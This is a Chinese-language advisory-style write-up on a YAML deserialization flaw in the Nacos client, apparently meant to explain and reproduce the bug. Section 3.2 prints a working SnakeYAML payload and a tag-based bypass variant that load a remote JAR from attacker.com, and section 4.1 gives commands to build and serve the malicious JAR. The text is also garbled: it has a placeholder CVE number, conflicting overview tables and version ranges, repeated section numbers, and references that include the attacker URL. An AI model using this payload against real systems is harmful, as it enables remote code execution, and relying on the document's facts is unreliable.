一、漏洞简介¶
1.1 漏洞背景¶
在 Nacos 1.4.1 版本之前,使用 AbstractConfigChangeListener 监听器的客户端存在 Yaml 反序列化漏洞。该漏洞只影响单独使用 nacos-client SDK 的用户。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2021-XXXXX |
| 危害等级 | 暂未找到权威信息 |
| 漏洞类型 | Client Yaml 反序列化 |
| 披露时间 | 暂未找到权威信息 |
| 影响组件 | Nacos |
| 项目 | 内容 |
|---|---|
| CVE 编号 | CVE-2021-XXXXX(社区编号) |
| 危害等级 | 高危(High) |
| CVSS 评分 | 8.8 |
| 漏洞类型 | Yaml 反序列化 |
| 受影响版本 | Nacos Client < 1.4.2 |
| 修复版本 | Nacos Client 1.4.2+ |
核验说明:原文使用编号 CVE-2021-XXXXX,但其不符合标准 CVE 格式或暂未在 NVD/CVE 公共记录中确认,文中保留原主题并标注待核验。
二、影响范围¶
2.1 受影响的版本¶
- 暂未找到权威信息,建议以厂商安全公告、修复提交记录或发布说明为准。
2.2 不受影响的版本¶
- 暂未找到权威信息,建议以厂商安全公告、修复提交记录或发布说明为准。
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 客户端使用 AbstractConfigChangeListener 监听配置
- 配置格式为 YAML
- 攻击者能修改 Nacos 配置
注意:Spring Cloud、Spring Boot、Dubbo 等框架不使用 AbstractConfigChangeListener,因此不受影响。
<hr />三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
SnakeYAML 在解析 YAML 时支持实例化任意类,攻击者可利用此特性执行任意代码。
3.2 攻击 Payload¶
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker.com/yaml-payload.jar"]
]]
]
绕过 Payload:
!<tag:yaml.org,2002:javax.script.ScriptEngineManager> [
!<tag:yaml.org,2002:java.net.URLClassLoader> [[
!<tag:yaml.org,2002:java.net.URL> ["http://attacker.com/yaml-payload.jar"]
]]
]
3.2 源码层面的根因分析(结合源码与补丁对比)¶
暂未检索到可公开验证的源码补丁信息,无法对根因实现细节作权威复原。
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 下载恶意 JAR 生成工具
git clone https://github.com/artsploit/yaml-payload.git
cd yaml-payload
# 修改恶意代码
vim src/artsploit/AwesomeScriptEngineFactory.java
# 编译 JAR
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
# 启动 Web 服务器
python3 -m http.server 7800
4.2 触发漏洞¶
- 在 Nacos 控制台创建/修改配置
- 配置格式选择 YAML
- 填入恶意 Payload
- 点击发布
4.2 PoC 演示与测试过程¶
暂无公开可验证复现信息。
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
升级 Nacos Client 到 1.4.2+
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
限制配置修改权限:
# 只允许管理员修改配置
nacos.core.auth.enabled=true
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- https://github.com/artsploit/yaml-payload.git
6.2 其他技术参考资料¶
- http://attacker.com/yaml-payload.jar"
- https://github.com/artsploit/yaml-payload.git
- https://xz.aliyun.com/t/10355